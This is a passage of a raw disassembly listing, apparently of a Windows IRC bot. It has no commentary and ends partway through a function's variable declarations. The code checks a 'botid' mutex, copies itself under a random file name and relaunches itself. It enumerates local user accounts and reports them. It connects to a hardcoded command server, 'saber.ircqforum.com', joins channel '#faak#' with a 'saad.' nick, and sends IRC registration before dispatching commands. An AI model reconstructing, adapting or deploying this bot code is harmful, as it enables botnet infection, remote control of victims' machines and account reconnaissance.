push esi
push eax
push edi
push ebx
call sub_40D679
add esp, 20h
pop edi
pop ebx
jmp short loc_40E322
; ---------------------------------------------------------------------------
loc_40E2F6: ; CODE XREF: sub_40DF4E+35j
push eax
lea eax, [ebp+var_204]
push offset dword_42F008
push eax
call sub_4172B0
push 0
lea eax, [ebp+var_204]
push [ebp+arg_10]
push eax
push [ebp+arg_C]
push [ebp+arg_8]
call sub_40D679
add esp, 20h
loc_40E322: ; CODE XREF: sub_40DF4E+3A6j
cmp [ebp+var_4], 0
jz short loc_40E331
push [ebp+var_4]
call dword_43F6F8
loc_40E331: ; CODE XREF: sub_40DF4E+40j
; sub_40DF4E+3D8j
mov eax, [ebp+arg_0]
pop esi
leave
retn
sub_40DF4E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E337 proc near ; CODE XREF: sub_40EE72+21F2p
var_218 = byte ptr -218h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 218h
push ebx
push esi
push edi
xor esi, esi
push [ebp+arg_C]
mov [ebp+var_4], esi
call sub_40DC82
push esi
mov [ebp+var_14], eax
push [ebp+arg_8]
mov [ebp+arg_C], esi
mov [ebp+var_18], esi
mov [ebp+var_10], esi
push offset aUsernameAccoun ; "Username accounts for local system:"
mov [ebp+var_8], esi
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D679
add esp, 18h
loc_40E376: ; CODE XREF: sub_40E337+135j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 2
push esi
push [ebp+var_14]
call dword_43F5D0
cmp eax, esi
mov [ebp+var_C], eax
jz short loc_40E3D7
cmp eax, 0EAh
jz short loc_40E3D7
push eax
push eax
call sub_40E4B7
pop ecx
push eax
lea eax, [ebp+var_218]
push offset dword_42F218
push eax
call sub_4172B0
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D679
add esp, 24h
jmp short loc_40E452
; ---------------------------------------------------------------------------
loc_40E3D7: ; CODE XREF: sub_40E337+62j
; sub_40E337+69j
mov edi, [ebp+var_4]
cmp edi, esi
jz loc_40E465
xor ebx, ebx
cmp [ebp+arg_C], esi
jbe short loc_40E452
loc_40E3E9: ; CODE XREF: sub_40E337+EDj
cmp edi, esi
jz short loc_40E428
push dword ptr [edi]
lea eax, [ebp+var_218]
push offset aS_4 ; " %S"
push eax
call sub_4172B0
push 1
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D679
add esp, 20h
add edi, 4
inc [ebp+var_8]
inc ebx
cmp ebx, [ebp+arg_C]
jb short loc_40E3E9
jmp short loc_40E452
; ---------------------------------------------------------------------------
loc_40E428: ; CODE XREF: sub_40E337+B4j
lea eax, [ebp+var_218]
push offset dword_42F1D4
push eax
call sub_4172B0
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D679
add esp, 1Ch
loc_40E452: ; CODE XREF: sub_40E337+9Ej
; sub_40E337+B0j ...
mov edi, [ebp+var_4]
cmp edi, esi
jz short loc_40E465
push edi
call dword_43F6F8
xor edi, edi
mov [ebp+var_4], edi
loc_40E465: ; CODE XREF: sub_40E337+A5j
; sub_40E337+120j
cmp [ebp+var_C], 0EAh
jz loc_40E376
cmp edi, esi
jz short loc_40E47D
push edi
call dword_43F6F8
loc_40E47D: ; CODE XREF: sub_40E337+13Dj
push [ebp+var_8]
lea eax, [ebp+var_218]
push offset aTotalUsersFoun ; "Total users found: %d."
push eax
call sub_4172B0
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D679
add esp, 20h
xor eax, eax
cmp [ebp+var_C], esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_40E337 endp
; =============== S U B R O U T I N E =======================================
sub_40E4B7 proc near ; CODE XREF: sub_40DAF0+41p
; sub_40DCE6+69p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 858h
cmp eax, ecx
ja loc_40E569
jz loc_40E562
cmp eax, 7Bh
ja short loc_40E52E
jz short loc_40E524
cmp eax, 5
jz short loc_40E51A
cmp eax, 8
jz short loc_40E510
cmp eax, 32h
jz short loc_40E506
cmp eax, 35h
jz short loc_40E4FC
cmp eax, 57h
jnz loc_40E5B8
push offset aInvalidParamet ; "Invalid parameter."
jmp loc_40E5D9
; ---------------------------------------------------------------------------
loc_40E4FC: ; CODE XREF: sub_40E4B7+30j
push offset aServerNameNotF ; "Server name not found."
jmp loc_40E5D9
; ---------------------------------------------------------------------------
loc_40E506: ; CODE XREF: sub_40E4B7+2Bj
push offset aThisNetworkReq ; "This network request is not supported."
jmp loc_40E5D9
; ---------------------------------------------------------------------------
loc_40E510: ; CODE XREF: sub_40E4B7+26j
push offset aNotEnoughMemor ; "Not enough memory."
jmp loc_40E5D9
; ---------------------------------------------------------------------------
loc_40E51A: ; CODE XREF: sub_40E4B7+21j
push offset aAccessDenied_ ; "Access denied."
jmp loc_40E5D9
; ---------------------------------------------------------------------------
loc_40E524: ; CODE XREF: sub_40E4B7+1Cj
push offset aTheNameIsInval ; "The name is invalid."
jmp loc_40E5D9
; ---------------------------------------------------------------------------
loc_40E52E: ; CODE XREF: sub_40E4B7+1Aj
sub eax, 7Ch
jz short loc_40E55B
sub eax, 7C8h
jz short loc_40E554
dec eax
jz short loc_40E54A
dec eax
jnz short loc_40E5B8
push offset aDuplicateShare ; "Duplicate share name."
jmp loc_40E5D9
; ---------------------------------------------------------------------------
loc_40E54A: ; CODE XREF: sub_40E4B7+84j
push offset aInvalidForRedi ; "Invalid for redirected resource."
jmp loc_40E5D9
; ---------------------------------------------------------------------------
loc_40E554: ; CODE XREF: sub_40E4B7+81j
push offset aDeviceOrDirect ; "Device or directory does not exist."
jmp short loc_40E5D9
; ---------------------------------------------------------------------------
loc_40E55B: ; CODE XREF: sub_40E4B7+7Aj
push offset aLevelParameter ; "Level parameter is invalid."
jmp short loc_40E5D9
; ---------------------------------------------------------------------------
loc_40E562: ; CODE XREF: sub_40E4B7+11j
push offset aAGeneralFailur ; "A general failure occurred in the netwo"...
jmp short loc_40E5D9
; ---------------------------------------------------------------------------
loc_40E569: ; CODE XREF: sub_40E4B7+Bj
mov ecx, 8C5h
cmp eax, ecx
ja short loc_40E5A2
jz short loc_40E59B
sub eax, 8ADh
jz short loc_40E5CD
dec eax
dec eax
jz short loc_40E594
dec eax
jz short loc_40E58D
dec eax
dec eax
jnz short loc_40E5B8
push offset aTheOperationIs ; "The operation is allowed only on the pr"...
jmp short loc_40E5D9
; ---------------------------------------------------------------------------
loc_40E58D: ; CODE XREF: sub_40E4B7+C9j
push offset aTheUserAccount ; "The user account already exists."
jmp short loc_40E5D9
; ---------------------------------------------------------------------------
loc_40E594: ; CODE XREF: sub_40E4B7+C6j
push offset aTheGroupAlread ; "The group already exists."
jmp short loc_40E5D9
; ---------------------------------------------------------------------------
loc_40E59B: ; CODE XREF: sub_40E4B7+BBj
push offset aThePasswordIsS ; "The password is shorter than required ("...
jmp short loc_40E5D9
; ---------------------------------------------------------------------------
loc_40E5A2: ; CODE XREF: sub_40E4B7+B9j
sub eax, 8CAh
jz short loc_40E5D4
sub eax, 17h
jz short loc_40E5CD
sub eax, 25h
jz short loc_40E5C6
sub eax, 29h
jz short loc_40E5BF
loc_40E5B8: ; CODE XREF: sub_40E4B7+35j
; sub_40E4B7+87j ...
push offset aAnUnknownError ; "An unknown error occurred."
jmp short loc_40E5D9
; ---------------------------------------------------------------------------
loc_40E5BF: ; CODE XREF: sub_40E4B7+FFj
push offset aTheComputerNam ; "The computer name is invalid."
jmp short loc_40E5D9
; ---------------------------------------------------------------------------
loc_40E5C6: ; CODE XREF: sub_40E4B7+FAj
push offset aShareNotFound_ ; "Share not found."
jmp short loc_40E5D9
; ---------------------------------------------------------------------------
loc_40E5CD: ; CODE XREF: sub_40E4B7+C2j
; sub_40E4B7+F5j
push offset aTheUserNameCou ; "The user name could not be found."
jmp short loc_40E5D9
; ---------------------------------------------------------------------------
loc_40E5D4: ; CODE XREF: sub_40E4B7+F0j
push offset aNetworkConnect ; "Network connection not found."
loc_40E5D9: ; CODE XREF: sub_40E4B7+40j
; sub_40E4B7+4Aj ...
push offset dword_443CD8
call sub_4172B0
pop ecx
mov eax, offset dword_443CD8
pop ecx
retn
sub_40E4B7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E5EB proc near ; CODE XREF: sub_40EE72+2231p
var_718 = byte ptr -718h
var_318 = byte ptr -318h
var_108 = byte ptr -108h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 718h
push esi
push 200h
push [ebp+arg_0]
lea eax, [ebp+var_718]
push eax
call sub_4199B9
add esp, 0Ch
lea eax, [ebp+arg_0]
mov esi, 108h
push eax
lea eax, [ebp+var_108]
push eax
mov [ebp+arg_0], esi
nop
call near ptr 27A0000h
lea eax, [ebp+var_108]
push esi
push eax
lea eax, [ebp+var_318]
push eax
call sub_4199B9
lea eax, [ebp+var_718]
push eax
call sub_41999C
add esp, 10h
shl eax, 1
push eax
lea eax, [ebp+var_718]
push eax
lea eax, [ebp+var_318]
push 0
push eax
push 0
call dword_43F678
test eax, eax
jnz short loc_40E67B
mov esi, offset dword_443AD4
push offset dword_42F568
push esi
call sub_4172B0
pop ecx
pop ecx
jmp short loc_40E6A4
; ---------------------------------------------------------------------------
loc_40E67B: ; CODE XREF: sub_40E5EB+7Aj
lea ecx, [ebp+var_718]
push ecx
lea ecx, [ebp+var_318]
push ecx
push eax
call sub_40E4B7
pop ecx
mov esi, offset dword_443AD4
push eax
push offset dword_42F530
push esi
call sub_4172B0
add esp, 14h
loc_40E6A4: ; CODE XREF: sub_40E5EB+8Ej
mov eax, esi
pop esi
leave
retn
sub_40E5EB endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 988h
push ebx
xor ebx, ebx
push esi
push edi
mov [ebp-0Ch], ebx
mov dword ptr [ebp-8], offset sub_40D3A5
push dword ptr [ebp-8]
push large dword ptr fs:0
mov large fs:0, esp
mov esi, dword_424058
call esi
xor edx, edx
mov ecx, 3E8h
div ecx
mov dword_489C50, eax
call esi
push eax
call sub_417302
pop ecx
call sub_40981F
push 2
call dword_43F714
push 7530h
push offset aBotid ; "botid"
push ebx
push ebx
call near ptr 27B03C7h
nop
push eax
nop
call near ptr 2630272h
cmp eax, 102h
jnz short loc_40E726
push 1
nop
call near ptr 77E75CB5h
loc_40E726: ; CODE XREF: ___:0040E71Cj
lea eax, [ebp-884h]
push eax
push 202h
call dword_43F5E0
cmp eax, ebx
mov [ebp-8], eax
jnz loc_40EB89
cmp byte ptr [ebp-884h], 2
jnz loc_40EB83
xor eax, eax
mov al, [ebp-883h]
cmp al, 2
jnz loc_40EB83
mov esi, 104h
lea eax, [ebp-3F0h]
push esi
push eax
call near ptr 25F048Fh
nop
lea eax, [ebp-2ECh]
push esi
push eax
push ebx
nop
call near ptr 2700B59h
push eax
call near ptr 2640000h
nop
lea eax, [ebp-4F0h]
push eax
lea eax, [ebp-6F4h]
push eax
push ebx
lea eax, [ebp-2ECh]
push ebx
push eax
call sub_4192B8
add esp, 14h
lea eax, [ebp-4F0h]
push eax
lea eax, [ebp-6F4h]
push eax
push offset aSS_2 ; "%s%s"
lea eax, [ebp-5F4h]
push esi
push eax
call sub_41782A
lea eax, [ebp-3F0h]
push eax
lea eax, [ebp-2ECh]
push eax
call sub_417880
add esp, 1Ch
test eax, eax
jnz loc_40E98C
cmp dword_42F5BC, ebx
mov esi, offset byte_42F674
jz short loc_40E824
push esi
xor edi, edi
call sub_417AB0
sub eax, 4
pop ecx
jz short loc_40E824
loc_40E801: ; CODE XREF: ___:0040E822j
call sub_41730C
push 1Ah
cdq
pop ecx
idiv ecx
push esi
add dl, 61h
mov byte_42F674[edi], dl
inc edi
call sub_417AB0
sub eax, 4
pop ecx
cmp edi, eax
jb short loc_40E801
loc_40E824: ; CODE XREF: ___:0040E7F1j
; ___:0040E7FFj
lea eax, [ebp-3F0h]
push esi
push eax
lea eax, [ebp-1E8h]
push offset aSS_3 ; "%s\\%s"
push eax
call sub_4172B0
add esp, 10h
lea eax, [ebp-1E8h]
push eax
nop
call near ptr 267029Bh
cmp eax, 0FFFFFFFFh
jz short loc_40E864
lea eax, [ebp-1E8h]
push 80h
push eax
nop
call near ptr 2751040h
loc_40E864: ; CODE XREF: ___:0040E850j
mov esi, dword_424160
lea eax, [ebp-1E8h]
push ebx
push eax
lea eax, [ebp-2ECh]
xor edi, edi
push eax
loc_40E87B: ; CODE XREF: ___:0040E8B2j
call esi
test eax, eax
jnz short loc_40E8B4
call near ptr 2630313h
nop
cmp edi, ebx
jnz short loc_40E8B4
cmp eax, 20h
jz short loc_40E895
cmp eax, 5
jnz short loc_40E8B4
loc_40E895: ; CODE XREF: ___:0040E88Ej
push 1
pop edi
push 3A98h
nop
call near ptr 25F0439h
lea eax, [ebp-1E8h]
push ebx
push eax
lea eax, [ebp-2ECh]
push eax
jmp short loc_40E87B
; ---------------------------------------------------------------------------
loc_40E8B4: ; CODE XREF: ___:0040E87Fj
; ___:0040E889j ...
lea eax, [ebp-1E8h]
push eax
call sub_40AB7C
pop ecx
lea eax, [ebp-1E8h]
push 7
push eax
call near ptr 2751040h
nop
push 10h
lea eax, [ebp-1Ch]
push ebx
push eax
call sub_417330
push 44h
lea eax, [ebp-64h]
pop esi
push esi
push ebx
push eax
call sub_417330
add esp, 18h
mov [ebp-64h], esi
mov dword ptr [ebp-58h], offset byte_43C80C
mov [ebp-34h], bx
push 1
pop esi
mov [ebp-38h], esi
call near ptr 27A0DD8h
nop
push eax
push esi
push 100000h
call near ptr 2700537h
nop
lea ecx, [ebp-2ECh]
push ecx
push eax
lea eax, [ebp-1E8h]
push eax
lea eax, [ebp-988h]
push offset dword_435140
push eax
call sub_4172B0
add esp, 14h
lea eax, [ebp-1Ch]
push eax
lea eax, [ebp-64h]
push eax
lea eax, [ebp-3F0h]
push eax
push ebx
push 28h
push esi
push ebx
lea eax, [ebp-988h]
push ebx
push eax
lea eax, [ebp-1E8h]
push eax
nop
call near ptr 274056Fh
test eax, eax
jz short loc_40E98C
push 0C8h
nop
call near ptr 25F0439h
push dword ptr [ebp-1Ch]
mov esi, dword_424078
call esi
push dword ptr [ebp-18h]
call esi
call dword_43F5C8
push ebx
call near ptr 77E75CB5h
nop
loc_40E98C: ; CODE XREF: ___:0040E7E0j
; ___:0040E962j
cmp dword_48A030, 2
jle short loc_40E9D8
mov eax, dword_48A034
push dword ptr [eax+4]
call sub_41781F
pop ecx
mov esi, eax
push 0FFFFFFFFh
push esi
nop
call near ptr 2630272h
push esi
call near ptr 2611A31h
nop
mov eax, dword_48A034
cmp [eax+8], ebx
jz short loc_40E9D8
push 7D0h
nop
call near ptr 25F0439h
mov eax, dword_48A034
push dword ptr [eax+8]
call near ptr 27A0C9Ch
nop
loc_40E9D8: ; CODE XREF: ___:0040E993j
; ___:0040E9BDj
cmp dword_42F5C0, ebx
jz short loc_40E9F5
cmp dword_43F738, ebx
jnz short loc_40E9F5
lea eax, [ebp-5F4h]
push eax
call sub_40C1AE
pop ecx
loc_40E9F5: ; CODE XREF: ___:0040E9DEj
; ___:0040E9E6j
lea eax, [ebp-0E4h]
push offset dword_435118
push eax
call sub_4172B0
push ebx
lea eax, [ebp-0E4h]
push ebx
push eax
call sub_416D5C
lea eax, [ebp-0E4h]
push eax
call sub_40BF6D
push 0B80h
push ebx
push offset dword_444340
call sub_417330
call sub_41730C
push 7Fh
push offset aSaber_ircqforu ; "saber.ircqforum.com"
push offset dword_489C5C
mov dword_489DD0, ebx
call sub_418C10
mov eax, dword_42F5A0
push 3Fh
mov edi, offset dword_489CDC
push offset aFaak ; "#faak#"
push edi
mov dword_489DAC, eax
call sub_418C10
push 3Fh
mov esi, offset dword_489D1C
push offset aSaad_ ; "saad."
push esi
call sub_418C10
add esp, 48h
mov dword_489DB0, ebx
loc_40EA83: ; CODE XREF: ___:0040EB29j
; ___:0040EB34j ...
mov [ebp-4], ebx
loc_40EA86: ; CODE XREF: ___:0040EADDj
cmp dword_43F750, ebx
jnz short loc_40EAA4
lea eax, [ebp-20h]
push ebx
push eax
call dword_43F5AC
test eax, eax
jnz short loc_40EAA4
push 7530h
jmp short loc_40EAD0
; ---------------------------------------------------------------------------
loc_40EAA4: ; CODE XREF: ___:0040EA8Cj
; ___:0040EA9Bj
push offset dword_489C58
mov dword_489DCC, ebx
call sub_40EB92
cmp eax, 2
mov [ebp-8], eax
jz loc_40EB7E
cmp dword_489DCC, ebx
jz short loc_40EACB
dec dword ptr [ebp-4]
loc_40EACB: ; CODE XREF: ___:0040EAC6j
push 0BB8h
loc_40EAD0: ; CODE XREF: ___:0040EAA2j
call near ptr 25F0439h
nop
inc dword ptr [ebp-4]
cmp dword ptr [ebp-4], 6
jl short loc_40EA86
cmp dword ptr [ebp-8], 2
jz loc_40EB7E
cmp [ebp-0Ch], ebx
jz short loc_40EB2E
push 7Fh
push offset aSaber_ircqforu ; "saber.ircqforum.com"
push offset dword_489C5C
call sub_418C10
mov eax, dword_42F5A0
push 3Fh
push offset aFaak ; "#faak#"
push edi
mov dword_489DAC, eax
call sub_418C10
push 3Fh
push offset aSaad_ ; "saad."
push esi
call sub_418C10
add esp, 24h
mov [ebp-0Ch], ebx
jmp loc_40EA83
; ---------------------------------------------------------------------------
loc_40EB2E: ; CODE XREF: ___:0040EAECj
cmp byte_42F650, bl
jz loc_40EA83
push 7Fh
push offset byte_42F650
push offset dword_489C5C
call sub_418C10
mov eax, dword_42F5A4
push 3Fh
push offset aFaak_0 ; "#faak#"
push edi
mov dword_489DAC, eax
call sub_418C10
push 3Fh
push offset aSaad__0 ; "saad."
push esi
call sub_418C10
add esp, 24h
mov dword ptr [ebp-0Ch], 1
jmp loc_40EA83
; ---------------------------------------------------------------------------
loc_40EB7E: ; CODE XREF: ___:0040EABAj
; ___:0040EAE3j
call sub_416F25
loc_40EB83: ; CODE XREF: ___:0040E74Aj
; ___:0040E75Aj
call dword_43F5C8
loc_40EB89: ; CODE XREF: ___:0040E73Dj
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40EB92 proc near ; CODE XREF: ___:0040EAAFp
; DATA XREF: sub_40EE72+3B0Eo
var_190 = dword ptr -190h
var_18C = byte ptr -18Ch
var_10C = byte ptr -10Ch
var_CC = byte ptr -0CCh
var_8C = byte ptr -8Ch
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_2C = byte ptr -2Ch
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 190h
mov eax, [ebp+arg_0]
push esi
push edi
push 59h
pop ecx
mov esi, eax
lea edi, [ebp+var_190]
rep movsd
mov dword ptr [eax+160h], 1
loc_40EBB7: ; CODE XREF: sub_40EB92+E6j
; sub_40EB92+136j ...
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_417330
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_3C]
call dword_43F668
mov [ebp+var_E], ax
lea eax, [ebp+var_18C]
push eax
call sub_40ADCA
test eax, eax
pop ecx
mov [ebp+var_C], eax
jz loc_40ECE4
push 1Ch
lea eax, [ebp+var_2C]
push 0
push eax
call sub_417330
push 0
lea eax, [ebp+var_2C]
push dword_489DC0
push dword_42F5CC
push eax
call sub_415D01
mov edi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 1Bh
add eax, offset byte_4450D8
push edi
push eax
call sub_418C10
add esp, 28h
push 6
push 1
push 2
call dword_43F6E8
mov esi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 10h
mov dword_4450CC[eax], esi
lea eax, [ebp+var_10]
push eax
push esi
call dword_43F610
cmp eax, 0FFFFFFFFh
jnz short loc_40EC7D
push esi
call dword_43F700
call sub_40ADF3
push 7D0h
loc_40EC72: ; CODE XREF: sub_40EB92+146j
call near ptr 25F0439h
nop
jmp loc_40EBB7
; ---------------------------------------------------------------------------
loc_40EC7D: ; CODE XREF: sub_40EB92+CDj
lea eax, [ebp+var_18C]
push eax
push offset dword_43514C
call sub_40BFE1
push [ebp+var_38]
lea eax, [ebp+var_18C]
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_CC]
push [ebp+var_190]
push edi
push eax
lea eax, [ebp+var_10C]
push eax
push esi
call sub_40ECFA
add esp, 28h
mov edi, eax
push esi
call dword_43F700
test edi, edi
jz loc_40EBB7
cmp edi, 1
jnz short loc_40ECDA
push 0DBBA0h
jmp short loc_40EC72
; ---------------------------------------------------------------------------
loc_40ECDA: ; CODE XREF: sub_40EB92+13Fj
cmp edi, 2
jz short loc_40ECE8
jmp loc_40EBB7
; ---------------------------------------------------------------------------
loc_40ECE4: ; CODE XREF: sub_40EB92+5Aj
xor eax, eax
jmp short loc_40ECF4
; ---------------------------------------------------------------------------
loc_40ECE8: ; CODE XREF: sub_40EB92+14Bj
push [ebp+var_34]
call sub_417078
pop ecx
push 2
pop eax
loc_40ECF4: ; CODE XREF: sub_40EB92+154j
pop edi
pop esi
leave
retn 4
sub_40EB92 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40ECFA proc near ; CODE XREF: sub_40EB92+123p
var_1A10 = byte ptr -1A10h
var_A10 = byte ptr -0A10h
var_240 = byte ptr -240h
var_1A0 = byte ptr -1A0h
var_A0 = byte ptr -0A0h
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
mov eax, 1A10h
call sub_417B30
push ebx
push esi
push edi
xor ebx, ebx
push 2
mov [ebp+var_8], ebx
lea eax, [ebp+var_1A0]
pop ecx
loc_40ED18: ; CODE XREF: sub_40ECFA+26j
mov [eax], bl
add eax, 80h
dec ecx
jnz short loc_40ED18
cmp byte_489DC8, bl
jz short loc_40ED3F
push offset byte_489DC8
push offset aPassS ; "PASS %s\r\n"
push [ebp+arg_0]
call sub_40D633
add esp, 0Ch
loc_40ED3F: ; CODE XREF: sub_40ECFA+2Ej
push [ebp+arg_C]
lea eax, [ebp+var_20]
push ebx
push ebx
push 2
push eax
call sub_415D01
add esp, 10h
push eax
lea eax, [ebp+var_A0]
push [ebp+arg_C]
push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n"
push eax
call sub_4172B0
add esp, 14h
lea eax, [ebp+var_A0]
push ebx
push eax
call sub_417AB0
pop ecx
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call dword_43F6B8
cmp eax, 0FFFFFFFFh
jnz short loc_40EDA9
push [ebp+arg_0]
call dword_43F700
push 1388h
nop
call near ptr 25F0439h
loc_40EDA2: ; CODE XREF: sub_40ECFA+D9j
; sub_40ECFA+153j
xor eax, eax
loc_40EDA4: ; CODE XREF: sub_40ECFA+173j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40EDA9: ; CODE XREF: sub_40ECFA+92j
; sub_40ECFA+F8j ...
mov esi, 1000h
lea eax, [ebp+var_1A10]
push esi
push ebx
push eax
call sub_417330
add esp, 0Ch
lea eax, [ebp+var_1A10]
push ebx
push esi
push eax
push [ebp+arg_0]
call dword_43F680
test eax, eax
jle short loc_40EDA2
lea eax, [ebp+var_A10]
push eax
lea eax, [ebp+var_1A10]
push eax
call sub_40A868
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_C], eax
mov [ebp+var_4], ebx
jle short loc_40EDA9
lea edi, [ebp+var_A10]
loc_40EDFA: ; CODE XREF: sub_40ECFA+165j
push 1
pop esi
loc_40EDFD: ; CODE XREF: sub_40ECFA+144j
push [ebp+arg_1C]
lea eax, [ebp+var_8]
push esi
push eax
lea eax, [ebp+var_240]
push eax
lea eax, [ebp+var_1A0]
push eax
push [ebp+arg_18]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push dword ptr [edi]
call sub_40EE72
add esp, 2Ch
dec eax
mov esi, eax
cmp esi, ebx
jle short loc_40EE40
push 7D0h
nop
call near ptr 25F0439h
jmp short loc_40EDFD
; ---------------------------------------------------------------------------
loc_40EE40: ; CODE XREF: sub_40ECFA+137j
cmp esi, 0FFFFFFFDh
jz short loc_40EE6A
cmp esi, 0FFFFFFFEh
jz short loc_40EE66
cmp esi, 0FFFFFFFFh
jz loc_40EDA2
inc [ebp+var_4]
add edi, 4
mov eax, [ebp+var_4]
cmp eax, [ebp+var_C]
jl short loc_40EDFA
jmp loc_40EDA9
; ---------------------------------------------------------------------------
loc_40EE66: ; CODE XREF: sub_40ECFA+14Ej
push 1
jmp short loc_40EE6C
; ---------------------------------------------------------------------------
loc_40EE6A: ; CODE XREF: sub_40ECFA+149j
push 2
loc_40EE6C: ; CODE XREF: sub_40ECFA+16Ej
pop eax
jmp loc_40EDA4
sub_40ECFA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40EE72 proc near ; CODE XREF: sub_40ECFA+12Ap
var_15B0 = byte ptr -15B0h
var_11B0 = byte ptr -11B0h
var_FB0 = byte ptr -0FB0h
var_DB0 = byte ptr -0DB0h
var_CB0 = byte ptr -0CB0h
var_CAC = byte ptr -0CACh
var_BAC = byte ptr -0BACh
var_BA8 = byte ptr -0BA8h
var_AA8 = byte ptr -0AA8h
var_A28 = byte ptr -0A28h
var_9C7 = byte ptr -9C7h
var_9C6 = byte ptr -9C6h
var_9C4 = byte ptr -9C4h
var_9C3 = byte ptr -9C3h
var_9BA = byte ptr -9BAh
var_9B8 = byte ptr -9B8h
var_9B6 = byte ptr -9B6h
var_9B5 = byte ptr -9B5h
var_928 = byte ptr -928h
var_90C = dword ptr -90Ch
var_908 = byte ptr -908h
var_804 = dword ptr -804h
var_800 = dword ptr -800h
var_7FC = byte ptr -7FCh
var_7F8 = dword ptr -7F8h
var_7F4 = byte ptr -7F4h
var_7F0 = dword ptr -7F0h
var_7EC = dword ptr -7ECh
var_7E8 = byte ptr -7E8h
var_780 = byte ptr -780h
var_774 = byte ptr -774h
var_770 = dword ptr -770h
var_76C = byte ptr -76Ch
var_768 = byte ptr -768h
var_75C = byte ptr -75Ch
var_73C = dword ptr -73Ch
var_738 = byte ptr -738h
var_710 = dword ptr -710h
var_708 = byte ptr -708h
var_6FC = dword ptr -6FCh
var_6F8 = byte ptr -6F8h
var_6F4 = byte ptr -6F4h
var_6F0 = dword ptr -6F0h
var_6EC = byte ptr -6ECh
var_6E8 = byte ptr -6E8h
var_6B8 = byte ptr -6B8h
var_681 = byte ptr -681h
var_680 = byte ptr -680h
var_678 = byte ptr -678h
var_670 = byte ptr -670h
var_66C = byte ptr -66Ch
var_668 = byte ptr -668h
var_5F8 = byte ptr -5F8h
var_5F4 = dword ptr -5F4h
var_5F0 = dword ptr -5F0h
var_5EC = dword ptr -5ECh
var_5E8 = byte ptr -5E8h
var_580 = dword ptr -580h
var_57C = dword ptr -57Ch
var_578 = dword ptr -578h
var_574 = dword ptr -574h
var_570 = dword ptr -570h
var_56C = dword ptr -56Ch
var_568 = dword ptr -568h
var_564 = dword ptr -564h
var_560 = dword ptr -560h
var_55C = byte ptr -55Ch
var_50C = dword ptr -50Ch
var_508 = byte ptr -508h
var_504 = dword ptr -504h
var_500 = byte ptr -500h
var_4F4 = dword ptr -4F4h
var_4F0 = dword ptr -4F0h
var_4EC = dword ptr -4ECh
var_4E8 = byte ptr -4E8h
var_4C0 = byte ptr -4C0h
var_4A0 = dword ptr -4A0h
var_488 = byte ptr -488h
var_480 = dword ptr -480h
var_47C = dword ptr -47Ch
var_478 = dword ptr -478h
var_474 = dword ptr -474h
var_470 = dword ptr -470h
var_46C = dword ptr -46Ch
var_468 = dword ptr -468h
var_464 = dword ptr -464h
var_460 = dword ptr -460h
var_45C = byte ptr -45Ch
var_458 = byte ptr -458h
var_444 = byte ptr -444h
var_434 = byte ptr -434h
var_420 = dword ptr -420h
var_41C = dword ptr -41Ch
var_418 = byte ptr -418h
var_40C = dword ptr -40Ch
var_408 = byte ptr -408h
var_3FC = byte ptr -3FCh
var_3F8 = byte ptr -3F8h
var_3D8 = byte ptr -3D8h
var_3B4 = byte ptr -3B4h
var_398 = byte ptr -398h
var_388 = byte ptr -388h
var_334 = dword ptr -334h
var_330 = dword ptr -330h
var_32C = dword ptr -32Ch
var_328 = dword ptr -328h
var_324 = dword ptr -324h
var_318 = dword ptr -318h
var_314 = dword ptr -314h
var_310 = dword ptr -310h
var_30C = dword ptr -30Ch
var_308 = dword ptr -308h
var_304 = dword ptr -304h
var_300 = dword ptr -300h
var_2FC = dword ptr -2FCh
var_2F8 = byte ptr -2F8h
var_2EC = word ptr -2ECh
var_2EA = word ptr -2EAh
var_2E8 = dword ptr -2E8h
var_2DC = byte ptr -2DCh
var_DC = dword ptr -0DCh
